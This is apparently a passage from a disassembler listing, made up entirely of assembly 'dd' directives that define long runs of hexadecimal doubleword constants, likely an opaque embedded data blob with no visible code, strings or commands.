		dd 5020D450h, 9B1BBDB2h, 0D1870D03h, 2762E992h,	1110C36Dh
		dd 4F8B2F8Ch, 1082BC98h, 0E94808C6h, 30904C2Bh,	7C4F68D8h
		dd 0EF8F1AA9h, 70AD4E5Bh, 0F889AFA4h, 0F0DBD97Ah, 0C8BDFAC9h
		dd 0B50723F8h, 8088FE51h, 35B90097h, 2936E271h,	45EDF95Bh
		dd 1180580h, 42B744E5h,	590704EBh, 0E15931ABh, 944F22C7h
		dd 2E00222h, 60455FC1h,	714DEE2Ah, 58E91823h, 315B30B8h
		dd 2796F148h, 0BCF9F698h, 27181F5Ch, 464E0E1Eh,	30E68107h
		dd 0C07E7E11h, 0C3A221EEh, 0E92CC2AAh, 47F28049h, 11B91D4Bh
		dd 0FB41C99Fh, 60BD3C6Eh, 32E46D1h, 0B2BF70C1h,	29A1634Ah
		dd 0CBB27FC7h, 177AF2D7h, 31375632h, 75773F82h,	8121394Ch
		dd 0E95703C2h, 9F00515Ah, 3DDB2D62h, 0FADEF75Eh, 205F4BB0h
		dd 535D58F3h, 941332C4h, 8A982D09h, 3180EC99h, 0B05B4FDAh
		dd 9A40C136h, 71BBA25Ah, 60B01D94h, 73AF5895h, 0F067C973h
		dd 505EC4C0h, 0C34A70F8h, 59243856h, 0EC14AEh, 9B676887h
		dd 74D20674h, 57582DB2h, 6A71F197h, 0A0AE8832h,	2676FB2Fh
		dd 0D7431CB2h, 0D1280C84h, 0AE13B886h, 5985E47Bh, 643A9CA1h
		dd 8C25C0E4h, 3D5EB050h, 0C852ACE0h, 880E9062h,	0D13C5BF3h
		dd 0A32AD2A3h, 3671937Ch, 742A970Ch, 0EEBC82CCh, 0C1DBF602h
		dd 0FA3DFD6Fh, 35124D84h, 3F892DAEh, 0F5340889h, 0C3635C23h
		dd 0ADF53CB3h, 5356C003h, 2C16855h, 5D24402Dh, 0BC60EDD1h
		dd 0AE2F3245h, 84A1FE63h, 824CFBFFh, 0BCAC9525h, 78161316h
		dd 86A83E8Eh, 3C1F6083h, 0D7F50C02h, 5E7D7926h,	0C72E1EBCh
		dd 55E9989Dh, 0D8420A5h, 0F128E166h, 36FCC189h,	0C71DD165h
		dd 81A9D4BBh, 28F8FB27h
		dd 1819A98h, 30EAAD4h, 0A3E3C61h, 850A0401h, 8DD2C3E9h
		dd 0C38214E8h, 0FF02079Dh, 0FE57D9BEh, 3EF54053h, 0B9F250Ch
		dd 30C1D2C1h, 0F4000528h, 0D34B424h, 62353EB9h,	0ED659032h
		dd 0F4F7222h, 49C28A45h, 3258D4E5h, 6FCC801Ch, 3067C4C0h
		dd 5851E9E6h, 2484B35Dh, 3F4B0E96h, 1183CB4Bh, 5A78E84Bh
		dd 5D61597Bh, 0FDF82117h, 0C6A89319h, 868AA1h, 2725502Dh
		dd 21887555h, 58088907h, 406E5905h, 0AC38BE81h,	7B959437h
		dd 7948BCE3h, 1078432Eh, 5C5B2DBEh, 0B5C2C4B9h,	76B03A1Bh
		dd 4857B6D8h, 685303C6h, 98769BEh, 75D2D35Eh, 5955311Ah
		dd 0F868C163h, 0C21B6C3Dh, 841639E7h, 0BBF840E6h, 0DAF7861Dh
		dd 0C5F30F67h, 4AC5F16h, 497CB2B4h, 89EC4EC4h, 0F40DACB4h
		dd 40C5C988h, 0D62FF7C3h, 0FA4AF656h, 77C5F41h,	0A148AD52h
		dd 772E6897h, 520B6232h, 404BFE88h, 170AC2BAh, 5585E812h
		dd 2A1929FFh, 680A6B8Ah, 59774D54h, 6C43A5C3h, 0E9541337h
		dd 0E1DCE4C2h, 14410524h, 0B562D82Dh, 31E2CCD9h, 0CD225FC3h
		dd 9C5F4844h, 0DC8CFCDEh, 0C5702FF9h, 6AB6FD5Fh, 68AFC05Fh
		dd 45B90788h, 0CEA87EADh, 0BF250A16h, 8C5A93F1h, 490B2D56h
		dd 0F454CE62h, 0B507207Bh, 0C3671A59h, 6C3D2E81h, 16946820h
		dd 0BB42AC64h, 440F0402h, 88905536h, 894A2CE9h,	21D08AD0h
		dd 0E7C7644h, 6423C4EBh, 0ACDFD7DFh, 0F8019291h, 499741A9h
		dd 0C408E170h, 0EF5DEBCFh, 55433DD0h, 4B5309BDh, 9D9878D4h
		dd 3A2610E3h, 0DC02BF77h, 706DB782h, 34E91312h,	0ED0E5768h
		dd 11E9B1A5h, 5B164E2Ch, 79298189h, 0C7EA1047h,	32DD2733h
		dd 80CE6CAh, 7616DC0Ch,	0D11A12F1h, 0D316814Fh,	8A2F2B31h
		dd 5D5A1F51h, 0C268D242h, 8823597Ch, 2812CAC0h,	36123BECh
		dd 0C0DD343Bh, 0B35338A7h, 42E0625Ah, 25D2403Eh, 0CF51B801h
		dd 7E8C10Ch, 5060687h, 566ED3A5h, 60DB0DA8h, 0C689F403h
		dd 2D81F9E9h, 8473DD69h, 1E6BC08h, 80FEDBAh, 0FCE1E879h
		dd 0B30D90B5h, 70B53869h, 285BDD0Bh, 0E90562F9h, 0A153BB2Bh
		dd 0C3115CBFh, 3D1F359Ah, 5A9BF3B0h, 53EF7A16h,	2E374041h
		dd 0B77A015Fh, 600C419Fh, 871AD5A0h, 2B0649CDh,	0A11CDDE0h
		dd 0C05AF1B0h, 13D2BFBCh, 5EB749BFh, 576D12DDh,	211CAE5h
		dd 1772D196h, 941828C3h, 7B124FC3h, 0C2A4F6A2h,	999AC4D2h
		dd 634D10D7h, 0C2989755h, 7994ED9Fh, 45E75AE5h,	0B1FC0225h
		dd 0F6A71353h, 0AB341AE9h, 0F88966DDh, 0D29E4FF8h, 54784D0Bh
		dd 0ACE1C02Ch, 0FD08C10Bh, 0D7009B8Eh, 0FE305A66h, 736F5591h
		dd 6851A501h, 312A78AEh, 29B13DAh, 0F4437D5Dh, 68D9D89Bh
		dd 56B27BDBh, 0F9A2FD84h, 0AEEC770Eh, 17AF3BD7h, 71BE9AEh
		dd 66177AF6h, 55E95720h, 8C7B95A7h, 0F84A6410h,	32CA5F01h
		dd 1E4EF27h, 5A58D988h,	0DCAE60F3h, 913868B5h, 8018BF45h
		dd 0ED9D0601h, 2D0D351Fh, 9961600Eh, 961E54Fh, 0F62A382Fh
		dd 0F914809h, 32067FBEh, 0B48813EEh, 0F64E5547h, 191089CEh
		dd 0A56809D4h, 6053546Bh, 18C66DEAh, 0F9D50125h, 5B5D0AE5h
		dd 0AC7F4B87h, 0FE5193AEh, 0F8296D3h, 0C19F15BDh, 92F5812Ah
		dd 3027D17Bh, 2E71FC96h, 0E51F0E7Ch, 56D84F43h,	5022320Ch
		dd 40F9C57Eh, 4AF0BA7Dh, 87687C26h, 0AF773203h,	48F2B075h
		dd 97CC74D3h, 16571C8Bh, 0B78C906Ch, 312575F2h,	58C174DFh
		dd 5F59F989h, 59E9825Bh, 25DBC59Eh, 0E9F1ACD6h,	0DE3CEAF1h
		dd 0D261A8C9h, 7C1F3659h, 5F315149h, 0C3CEF6B1h, 4E20A0BAh
		dd 3E689DEAh, 0C1E91EBh, 0C35645FDh, 2E8BA00Ah,	55D81142h
		dd 6A157E5h, 0E9090211h, 7564F156h, 11D0ECF0h, 6C181049h
		dd 4E2DAD3Fh, 0B877F809h, 0C8A1F70Bh, 0D962BB18h, 0B230D55Bh
		dd 0C49170E6h, 0E008E648h, 0E4BE024Bh, 2141DB2Dh, 0F115AF12h
		dd 85C9758h, 0D02554B7h, 0CE7A203Eh, 0B4A632DCh, 5E2D38A4h
		dd 0B3B25E6Dh, 98A26827h, 515597h, 0E51031B9h, 0F992E92Bh
		dd 0C0295ACAh, 424F9E40h, 67708869h, 0D9A5582h,	4B46B380h
		dd 4F776BB9h, 5D5F5516h, 47EF1C44h, 67E9C0EAh, 0E7EC1468h
		dd 0EC7DE20Bh, 0BD5A8009h, 97410846h, 0E0BF9852h, 40BFFE2h
		dd 0CE948C4h, 3F8CAB90h, 5C1C9052h, 8F8157AEh, 8017B119h
		dd 672CE00Ch, 90F5314Bh, 8DBB5FE4h, 0AB983B6Ah,	0B95A4FD0h
		dd 4CAC92F5h, 929CBCB4h, 0AD3A90ACh, 0B4659B17h, 357D926Bh
		dd 6100150h, 33B74504h,	281A5429h, 28420C13h, 0BE90C1Ch
		dd 12C263B5h, 419361C9h, 4A024FEFh, 7918831Dh, 7323A456h
		dd 3E97E00Ch, 2868295Ah, 240C3408h, 4B201414h, 0BC1C6D00h
		dd 0DAB8504Bh, 312A4114h, 0DF294EE7h, 62096A7Ch, 0F1586B22h
		dd 5CC23220h, 7312F66h,	3B7F2CAFh, 0C4B767A0h, 0AA5BF80Ah
		dd 520176E3h, 0F2788BAh, 0B251303Fh, 67B04F1Dh,	2CDFE280h
		dd 25E910CEh, 0F745853Bh, 8AD4FC0Ah, 237C3140h,	0CD02F644h
		dd 0DC6A642Dh, 5253A968h, 563178D7h, 0B41E4325h, 2D86227Bh
		dd 0A8476B7Fh, 91704F9h, 0AAE95E1Eh, 65FF66C2h,	0DFA988EEh
		dd 8542891Ah, 64D401D2h, 0C404EE25h, 0BB13C74Dh, 42215821h
		dd 33BC1B04h, 8681A05Bh, 0EB05F87Ah, 4402E682h,	7309D4Dh
		dd 59806D77h, 37692768h, 489F2A4Eh, 0B5D2F1D0h,	46F600CCh
		dd 0A79A0976h, 5BE94912h, 0CB58954Eh, 0D0D26362h, 5844EE80h
		dd 0F6202D53h, 1FD8283Ch, 0C38FDDB3h, 7193A47Eh, 55CB3FE8h
		dd 2D6E96D5h, 5156959Bh, 0AD106552h, 0E0158D5Bh, 0F72D009Bh
		dd 293E1C61h, 70551D0h,	97F1AD01h, 9747BF05h, 2A64409Ah
		dd 2E002BC5h, 7A9F0FDFh, 16D29F31h, 0E94D04C1h,	9626D2Ch
		dd 38F7C693h, 0DE4E5F17h, 35809BFh, 34FA8900h, 0A99064AFh
		dd 80A7659Fh, 433DFAEAh, 6CD701D2h, 0AF8438ADh,	5944AF49h
		dd 590C55A9h, 6C0FE4B2h, 0A550310Eh, 49EA88CFh,	46DEBB28h
		dd 0E9D16E2Ch, 536640FDh, 199F3814h, 9C78EC5Ah,	31BE8513h
		dd 3B9E4542h, 5EB3E277h, 727B4D67h, 20CF6809h, 7F6733D6h
		dd 41449E12h, 0BDDD9BFEh, 48AD5460h, 3FDE8E8Bh,	810C662Ch
		dd 685758C6h, 4E92F767h, 0E5F03570h, 0D1A8C295h, 0E872C9EFh
		dd 0CD7F4632h, 855857EFh, 0E967DC9Ch, 14B970D4h, 0F65DCD05h
		dd 2607AF59h, 0CFF0DFF7h, 9701529h, 7E24E961h, 57A3B710h
		dd 81196601h, 0B40AF1F3h, 2EBB070h, 12FA6049h, 0E47DC383h
		dd 0ECF3383Fh, 54D4610h, 0B6DA627Ch, 91A282FAh,	598A143h
		dd 0FC506A56h, 0FF4A8088h, 9E065C25h, 0C2CBA664h, 9D769912h
		dd 96024DDCh, 590AEB11h, 0AB253479h, 25E9F3E0h,	3D71400Eh
		dd 0F68A1442h, 0B224AADh, 20DE0CC0h, 80A00808h,	0C51C4DC6h
		dd 0C29D2917h, 0E9080121h, 268EF3EBh, 0AE322A68h, 57888531h
		dd 0FEF46568h, 0B72D2398h, 106F452Ah, 58F727E8h, 9D7FF278h
		dd 0EF54D605h, 5CC1F50Bh, 91712FA4h, 4261DEEBh,	0CF0FDABCh
		dd 0A1259EDh, 0BF58C034h, 34CC8679h, 0C0B88184h, 0AA4BB4CAh
		dd 0D5915FAEh, 292F98DBh, 9A8B39F9h, 8510D5CAh,	0AC20415Bh
		dd 0CC7F0B71h, 0AB7C0AD0h, 0C66FB31Ch, 0BB61B993h, 7DC6DFA7h
		dd 0F608331Ch, 6D34BD81h, 132F2E01h, 8E116F9h, 5F13C235h
		dd 12F97D54h, 9C8DC384h, 0C9BE5CCEh, 0E9585CFEh, 0AB0E9552h
		dd 0C1AA0114h, 60887E6h, 50910CBh, 85F40F70h, 0AA398609h
		dd 75D02010h, 84DBF31h,	18885FD5h, 890C7B11h, 629D10C6h
		dd 6773088Ch, 2ABB802h
		dd 9C02E2CBh, 86A703B1h, 36703818h, 818F6C08h, 7803C26Fh
		dd 0CF281075h, 49771039h, 18E13E18h, 8C4A2DCh, 1048083h
		dd 0EFE704C1h, 4D2F604h, 0C80695EDh, 0AA314062h, 0BA940887h
		dd 50DA1888h, 1912E108h, 0F7E8717Ah, 0C4632018h, 0C67CF308h
		dd 8740118h, 18564133h,	0D349108Ch, 3944310Eh, 899897B2h
		dd 89C31817h, 608B08C4h, 20986906h, 2063E820h, 0C1636A4Ah
		dd 10863EB1h, 108A4D08h, 642A9F74h, 986354A4h, 104463C6h
		dd 81888E3h, 0C0187DF8h, 457B806Bh, 0C6DD5380h,	204B5908h
		dd 33D85D20h, 60101ABEh, 1E13048Ch, 47FCD04h, 81063727h
		dd 0B131080Ah, 0BE41858h, 88CC5601h, 0C7AC410h,	8C71DCB6h
		dd 8D4F10C6h, 6CCF2008h, 0CE806F7Eh, 0F7E1C863h, 1884600Ch
		dd 50944087h, 1C104063h, 7F081A8Eh, 0D4318B7h, 424C1018h
		dd 8052D708h, 20CAF212h, 9088C469h, 60C01ED4h, 0ABB4F454h
		dd 0F0317092h, 49DF08E0h, 15F7201h, 2E016483h, 0FD6F01AEh
		dd 8048BB02h, 2C80669Bh, 52548142h, 0BC2356B4h,	49202401h
		dd 0A6B28864h, 15676208h, 0D910E01Fh, 513F186Eh, 0C6BFD308h
		dd 214B7918h, 62602140h, 49651092h, 12935903h, 51859608h
		dd 0DF319C4Ch, 176C019h, 370164FCh, 461088B2h, 0A1DD0870h
		dd 8B3350Ch, 204892D4h,	0CC24F961h, 6992E4A0h, 10ECF84Ch
		dd 8BE62ABh, 0C90AFFF2h, 0DF030831h, 3EF7F01h, 67C110BEh
		dd 7D2455h, 186C9B8Ch, 87E6371h, 18109091h, 7510B4C2h
		dd 817419BAh, 88C10C9h,	0B316ECAh, 8196A080h, 0A2282472h
		dd 2D104E62h, 48180215h, 3281E506h, 0B310E85Fh,	5C6B8CA2h
		dd 70D30104h, 0D78110ACh, 108224EBh, 8DB2288h, 5715D6E0h
		dd 0D45D3F84h, 0FC269CCCh, 0D04BA4E8h, 41B12461h, 39C79E53h
		dd 103EC918h, 2C03473Bh, 13EB0275h, 0B90E1B89h,	5D03DA7h
		dd 8F004401h, 0C90B4940h, 588BF775h, 1374B074h,	0AEF003DEh
		dd 0C0336321h, 32B10FE0h, 0AC2C304Fh, 7708E1h, 0B5E78DE9h
		dd 579F4AAFh, 9670515h,	4988AF0Ch, 0B8BD5B6Ah, 0D4336D0h
		dd 64346022h, 1604D8F6h, 54BC524Eh, 1E0238C6h, 0D6345576h
		dd 0CDF20C49h, 0EE59893Bh, 0D3B951C0h, 6003826Dh, 4AA4E981h
		dd 0F17402BBh, 0FBC7232Bh, 1A147255h, 540403E9h, 0F62D017Eh
		dd 0DCE95045h, 8DF3F15Bh, 0E9D97A18h, 6A24A8E5h, 0ED021F46h
		dd 825C2718h, 1129585h,	0C3358C68h, 0F2E2BF84h,	1A71BF97h
		dd 5E026F25h, 892EDFEEh, 6DC0B951h, 5C16151Ch, 7309B58h
		dd 3381CBBFh, 0EA7A527Eh, 5169FDBCh, 88E9848Fh,	0CD8EBAB5h
		dd 0D030F762h, 0E9AE9855h, 2D0240B1h, 0D25B3804h, 63C4C110h
		dd 0B3FEAB0h, 0D9F731C5h, 0AF3A4254h, 0FC064D1h, 20F25C06h
		dd 4680F8A6h, 5E0B2978h, 0FC024368h, 0B0B06743h, 0DEF74735h
		dd 1C5F897h, 6D1642CBh,	55138BE9h, 2B37EE16h, 0DE8F69Bh
		dd 110936Dh, 400E285Ah,	2961B98Ch, 9E159631h, 0B9608108h
		dd 662D126Ch, 9F500441h, 0BBCEFBF4h, 5B62680Bh,	1ABCB17Fh
		dd 55A456B0h, 0AA1F7CBDh, 0FC4DACB8h, 212F1A4Bh, 0A74A27F9h
		dd 91D7612h, 32F58DBDh,	48167DF8h, 5F693362h, 454054Dh
		dd 0F43929F2h, 3A5E35A2h, 10CF7083h, 2C168F8h, 0E132A0BFh
		dd 70541Ch, 0CD7B7D05h,	1D382D76h, 0E99386AEh, 9C9506D8h
		dd 466F0B6Ch, 0E39A3057h, 43663B20h, 3EBF5700h,	310C9C3Ah
		dd 6DD77C62h, 0E3B60028h, 5A39F308h, 518E8580h,	84EBDD88h
		dd 46CABA6Ah, 1E10BED6h, 0FD3985D7h, 0C9E9BEAh,	23D84EE9h
		dd 5A1100EBh, 0BA527D71h, 743733DBh, 0F503A06h,	5EC1652Ah
		dd 0C10F87E2h, 775E17Ch, 3B407569h, 450558AAh, 1FCDE939h
		dd 0BED361A9h, 0E9E8CC60h, 0F82664Ah, 5D04DDEFh, 0A4B6850h
		dd 0BD927DB6h, 2D65D2EFh, 48E2D5B8h, 0F972E6A9h, 32F5724h
		dd 62A451A7h, 2A54F986h, 5965EB81h, 1CF03666h, 8736CA38h
		dd 0D053889Dh, 5055AD00h, 3B041CB8h, 0B36E1DFBh, 72BD7521h
		dd 462315Dh, 0B470FE07h, 76B31963h, 5A57145Bh, 3D00935Fh
		dd 8104B147h, 1013DECDh, 8A017B90h, 67C92C1Eh, 5B8F1882h
		dd 0CB041F73h, 681718EBh, 3765E8Ch, 7F8EE918h, 16DDF7A0h
		dd 0CC574868h, 2D902B94h, 0D5094501h, 97E9525Ah, 89C002Bh
		dd 0D0F65BF8h, 2F0B2C3Eh, 0C2CAC94Dh, 0E45FA92Eh, 0DB09C344h
		dd 0EF4927FCh, 0CD3C7717h, 0AEF20747h, 0E9540F70h, 9F30D23Ah
		dd 39801EB6h, 0CE8445E6h, 0D5FDE918h, 384EF69h,	0A8B024AFh
		dd 16CE34ADh, 5D0A18ABh, 0E98044B9h, 914D4872h,	50BE42A4h
		dd 0F770B4h, 0E9E1CC10h, 0FCD44B51h, 0D864A40Ch, 0D913AAB9h
		dd 5FE7A427h, 500C5300h, 152BD405h, 12FCEA31h, 0AE29E84Dh
		dd 75075610h, 0F85E11A1h, 6F32E9F8h, 0F5FE73CAh, 3E4CE640h
		dd 24BB85A0h, 115E7717h, 0B2D755F4h, 0D1D8F5C8h, 0E20CD79Bh
		dd 0CF87C715h, 0F753DF20h, 0CCEE8014h, 0A3D52EBFh, 303DB641h
		dd 526A3AEEh, 0C8958368h, 95DDCF37h, 459DD8E6h,	44158D73h
		dd 9EB1FF3Ah, 0C24B4137h, 0E0C000B1h, 0E5042F07h, 0CF3906D2h
		dd 62F780D6h, 0C05BFE30h, 685FDEEh, 0D33BE906h,	73F72903h
		dd 0E01B780h, 662128BDh, 27F7BA61h, 2FE310Bh, 805AD60Bh
		dd 554FC87Bh, 828B928h,	54270678h, 0B6350C7Bh, 4802BE0Eh
		dd 89424079h, 0C302E0F3h, 3921767h, 41A91E61h, 293F2E06h
		dd 0F271DFh, 0E82D5B08h, 74DA6414h, 70528D8h, 2CC35F5Ch
		dd 0A3689D37h, 1D0A2604h, 780E384h, 4F2566E7h, 906EE060h
		dd 50BD10B2h, 82C604C6h, 94F03h, 3C374030h, 0D2A176E9h
		dd 0A2541327h, 0FF3189B8h, 161B44A1h, 0DFDC6F01h, 900DD7C7h
		dd 0BA2B2662h, 5920F4B0h, 9F9AC4B3h, 21E9C232h,	26569C5Dh
		dd 3FF3EDC1h, 0F77F5F80h, 390B68FFh, 7CAC2BE1h,	0F4C0F8D3h
		dd 2784F3C9h, 0FC7856E9h, 3015C4A8h, 4B6A5F8Dh,	2089680Ch
		dd 571E2C5Bh, 0D44436CBh, 4F0760D2h, 81B82E5Ah,	6815D1B2h
		dd 14814CB6h, 77478B5h,	46CB29FDh, 1289DFB3h, 0E2FB416h
		dd 0C462D9F7h, 0CE83B387h, 0F917E82Ah, 640103E1h, 1CA0605Eh
		dd 0B862BE71h, 83262A07h, 743D52B9h, 25335E09h,	97F7947Fh
		dd 3E2EABC0h, 0BB0C6261h, 0E17B1338h, 834A0F7h,	9140CD0h
		dd 0F743A9E9h, 3A503D11h, 9B904DB3h, 171FB993h,	0F76076CBh
		dd 2230CA2h, 0E9D6F773h, 0EC521AF6h, 8A3081B2h,	0EB8030C5h
		dd 0C7043D78h, 142C7918h, 0D3EEF509h, 0D997CEBAh, 1B28D0Ch
		dd 0F9AFFC48h, 2AE79895h, 632EFD0Fh, 1D103328h,	0F94E250Dh
		dd 7BF3D34Bh, 0DF5DE915h, 17F2A250h, 21601E6Ch,	8BB80160h
		dd 894FEEAFh, 6BE3FE6Eh, 0C92F79F0h, 8027CA7Ah,	5718B2E0h
		dd 0CD5B5F29h, 6ACA3EE2h, 44D1944Fh, 0BFB2A68Ch, 3F5C419Ch
		dd 60795553h, 0D0BAA380h, 305C9750h, 0E714883h,	0CCE923B6h
		dd 5BB32254h, 0AFEC8451h, 7130B78Dh, 0BB12C0ABh, 42087D87h
		dd 412F13F4h, 5937C401h, 680856D9h, 0E90646E0h,	50A8675h
		dd 0C380852Ch, 4F5DAA4Eh, 0BDE6987Fh, 165E351Eh, 0E005B62Dh
		dd 0A324081Fh, 80008243h, 294C3268h, 4BE914C6h,	592FEEDh
		dd 0CA2705DFh, 0AA8A4AD3h, 85A5F94Ah, 0F8504AE5h, 574604E8h
		dd 0C4BF3BDBh, 0B10716C7h, 7BC82A7Ah, 5D0E4086h, 427022ECh
		dd 213F20A0h, 0A233B32Fh, 5712479Ch, 942F0AC7h,	0FF739F66h
		dd 94F1AB2Fh, 510225FFh, 0B6FE1F90h, 0C780F09Ch, 20C23E66h
		dd 0CBFB7929h, 6CE85AB1h
		dd 87B3F013h, 1232652Fh, 14730C53h, 3E0CBF12h, 14696665h
		dd 0F7C9C02Dh, 82408405h, 3C41C790h, 5AC3F67Eh,	3504E6D5h
		dd 8D5DBB5Eh, 812E3D45h, 7907EFD2h, 0C8237FDh, 54A82334h
		dd 86928F5h, 14090C34h,	0CA885C5Dh, 0A59824ECh,	98C1171h
		dd 57590A88h, 0BE006F58h, 317635EFh, 0A8C5FF56h, 0BC03575Eh
		dd 0F63B1941h, 5417000Ch, 0ADBF7A51h, 29F41359h, 4E27509Fh
		dd 5B160FF8h, 4204C82Fh, 0C0C69471h, 520497DFh,	0A1BF0E02h
		dd 77106C09h, 0C14F4100h, 0EAC103E7h, 538A1447h, 8306128Fh
		dd 1284FF2Bh, 0D98126Dh, 90CCB55Ah, 536EEE90h, 0AEFD1680h
		dd 129BEB4h, 8C018E53h,	50E262ABh, 0FB1DF883h, 4BE8384Fh
		dd 0A56384F4h, 0E6347A60h, 0EA5C02AFh, 0F860D801h, 81DE8A4Dh
		dd 0B84C7BC2h, 5500574Fh, 23A02707h, 40BD2BFh, 1B7CC0C2h
		dd 0F5E4BB78h, 0EBD130E9h, 19DEEACDh, 926F613Dh, 70401ABCh
		dd 0BD55F101h, 10260388h, 0F6CD8123h, 0D863ACC9h, 221F28E5h
		dd 0ED017F69h, 0F9E0A910h, 80786530h, 0F4E0DDB4h, 9112C599h
		dd 99EF5E52h, 0E6E02EEEh, 0E9FFC25Dh, 0AA72E12Eh, 0D226180Ch
		dd 9118640h, 3173DB50h,	0C801F982h, 26051A63h, 61BB3E9Dh
		dd 7FBB588h, 899A197Dh,	0AC4174CEh, 4D134F7Eh, 28213DFBh
		dd 3468C54Eh, 4EDB08C8h, 0A06F41CBh, 0EF47F363h, 70173469h
		dd 433D0BEEh, 9C907A35h, 2C241CF8h, 0B23DC913h,	5C324D8Dh
		dd 185D25BDh, 8679AA1Eh, 82252069h, 6F344603h, 50912760h
		dd 0C10E7132h, 0A1F37E58h, 35ED81D3h, 0AB7C556Ch, 254F208Ah
		dd 0BA9F85A9h, 0E54B5A9Eh, 0A4A67C56h, 4B3C5FEEh, 9C3402C7h
		dd 0A6A01097h, 323ABDF5h, 2A545DDh, 123D6E9h, 0FFC99D5Ch
		dd 24FB7496h, 4BBA4595h, 9EF2E91Ah, 149EDD0Ah, 4767999Fh
		dd 3A2D7874h, 0BC4B1D0Bh, 0F2742EBEh, 0CF895A84h, 0AA6861EAh
		dd 31312465h, 5B4ED078h, 20501D83h, 8B3ED91Ch, 5A39630Bh
		dd 4FF7E956h, 0A9D2A838h, 38212DAAh, 80C5B9F3h,	6B261605h
		dd 0C8122D79h, 80A44AACh, 701A615Fh, 1CBAA6D3h,	4E14C10Ch
		dd 0C44D0DE2h, 0A19AF3E9h, 0D60B829Fh, 974290A8h, 0F76024D2h
		dd 0F3702ABh, 0FA552D47h, 0CA054043h, 9611F402h, 0A01DE4E9h
		dd 4D83BD3Fh, 93C1764h,	1ED7B8EEh, 0E58D6092h, 0F79C1201h
		dd 1B493816h, 0E3B5B25Fh, 434C2E52h, 573A043Fh,	0C1C380BFh
		dd 0FD092132h, 0E83E5FE9h, 27DA6E30h, 8BE8026Ah, 157B68EFh
		dd 485B1A24h, 0AD58F1A5h, 682DCBDBh, 0B6BB72A0h, 0FA2DC53Ch
		dd 0E38DB58Ch, 32C28C6Fh, 22CBE65Ah, 3657EA27h,	29E926D6h
		dd 8099A22Fh, 907F1CBBh, 0F1813F48h, 0BB992094h, 0DBDF0376h
		dd 0E3E94145h, 0D9B7348Eh, 2C7A626Fh, 0E2A5A653h, 0E466FFC4h
		dd 0B6A884E8h, 8132BC9h, 9E1F09D3h, 0A8952556h,	938317EFh
		dd 0C1CC5916h, 22879EEh, 1B53775Ch, 0E716F024h,	27846B37h
		dd 0EF4B3AFCh, 19043174h, 0BC12A0D1h, 17873217h, 5FF34233h
		dd 8C2959CCh, 5808BFD9h, 5BB1F12h, 8633DD21h, 29780B51h
		dd 0FE02DB94h, 0E3249760h, 80361071h, 6B092FDFh, 0AC6DD31Ah
		dd 0B007DCB4h, 0D532091Dh, 0F2091FC9h, 0EFCACFB2h, 0CE2AA2D5h
		dd 366ED581h, 82426FBFh, 10AC6855h, 0E54FFCA3h,	5BB8D102h
		dd 633A4505h, 38F3A834h, 0E68637Ah, 29F3E8D1h, 0CDC034FAh
		dd 0FBBF2EA5h, 92DD49D0h, 0B5A5757h, 58310B3Ah,	792F2532h
		dd 0AF368D6Ch, 571E603Fh, 45BC730Fh, 0B47FA45Bh, 8D2BC8F1h
		dd 0CBB3F0DAh, 8462E3BCh, 28E77DABh, 81ED5C13h,	4E8BEEE5h
		dd 0AAB264CEh, 60323678h, 0EBEE176Eh, 9AC42E72h, 83E27CF7h
		dd 0AB936A51h, 94F5B254h, 22AEE5F1h, 0F3C80788h, 0A29F4068h
		dd 542AB133h, 1C521F7Ah, 6BBE492Eh, 7416C6F8h, 0CFB0FB04h
		dd 36572433h, 0D100B3Dh, 7425A9D1h, 0BB1034E2h,	4025618Ch
		dd 0C26001F2h, 9849EC4Ah, 0D8D6FB7Ch, 80590E9Eh, 0C66556F6h
		dd 0EAC0EB61h, 5AB05051h, 0AAD124E0h, 0E98341E6h, 0BB8484A2h
		dd 894F44F3h, 91BD2F43h, 62C6E983h, 5D0A2Dh, 77FFEF6Dh
		dd 0C7E60FAh, 49C24664h, 3D0653B7h, 98B00B20h, 8C30CE76h
		dd 79410C74h, 127166Eh,	120405FBh, 3835A318h, 25329348h
		dd 44F1A0B5h, 0D75F0C48h, 0D2B8B363h, 74849E1Fh, 4A06A15h
		dd 278013F1h, 0C9A001BBh, 70583A8Eh, 0FC0BE9D1h, 55FA59BEh
		dd 0E6024F92h, 1AF940ECh, 0F2D4E9E1h, 0DEBCA005h, 0CA810B94h
		dd 2F3A46F5h, 4BC69E40h, 0E92E054Ah, 0EE010AB7h, 0B64F3E8Eh
		dd 0A4E91221h, 0EEC1B981h, 43FEF07Fh, 3A603312h, 0D343C9A1h
		dd 6822A8BBh, 0DE89045Fh, 0C8ECDAE9h, 7D13C321h, 17FF694Fh
		dd 0B313A8C5h, 485A0281h, 0D6017471h, 36B7FE78h, 5508C1E6h
		dd 0A609BDE9h, 0BF0351C9h, 0D5B931CEh, 0BB6E10FBh, 577DF400h
		dd 0D1C1E977h, 24044CD2h, 121766h, 8308E89Bh, 50401C0h
		dd 415056E0h, 0B2CC45BAh, 0E108CD77h, 3E9725C9h, 2A7DDFA7h
		dd 4F5D5F5h, 4C6FE668h,	44D6E055h, 6B4AEBF0h, 3508F806h
		dd 0E3C095B2h, 8D2747ECh, 7223F43Dh, 0B494D56h,	288A7377h
		dd 348A0B72h, 8812163Ch, 72900809h, 0F083A65Eh,	2F417AEDh
		dd 41FA258Eh, 9CF21802h, 75EA89FCh, 11C748Bh, 0AF41D731h
		dd 0D82A5FFDh, 0F15E21E7h, 0E9C5A8E2h, 6A79BA02h, 0ABE442A1h
		dd 0FC5F17F3h, 0E953052Fh, 65FB86D0h, 521B7220h, 5E87C41h
		dd 977992CCh, 365C8709h, 610CE507h, 0DBF6C02Eh,	1903D930h
		dd 0D805F0E9h, 2D4925Bh, 5ED793ECh, 8CEED2E8h, 4B188E20h
		dd 49C63FEh, 0EF014A31h, 0DCCDD20h, 4B6E7EBBh, 1DCF13DFh
		dd 9A88CB90h, 0A84AEED4h, 2A8DF308h, 0F790A01h,	1DF13709h
		dd 7704CBB3h, 596839A3h, 9E75BFE4h, 76803C5Fh, 0E9492264h
		dd 41DB5B41h, 234B9BD1h, 24E43006h, 9385A2D7h, 130B02FAh
		dd 12E038D5h, 5BD3DC5Fh, 40FAC617h, 72CCEA0Dh, 0E92D15E7h
		dd 5A6AFAFBh, 66A032E3h, 2E087141h, 0BB775CCh, 0D8DDE9D5h
		dd 1391BFA8h, 4AD5B894h, 0C285DEB6h, 606E9D84h,	0AC7A9AFh
		dd 3773C388h, 310E27E0h, 0DDE21480h, 0C2C4AD71h, 912343Fh
		dd 1274A803h, 0C5C75E2Fh, 0CF9BAE56h, 0D62CE64Ah, 0BBD8E28h
		dd 466956EFh, 0A0CD858h, 92424ACEh, 76212FB3h, 2CAED290h
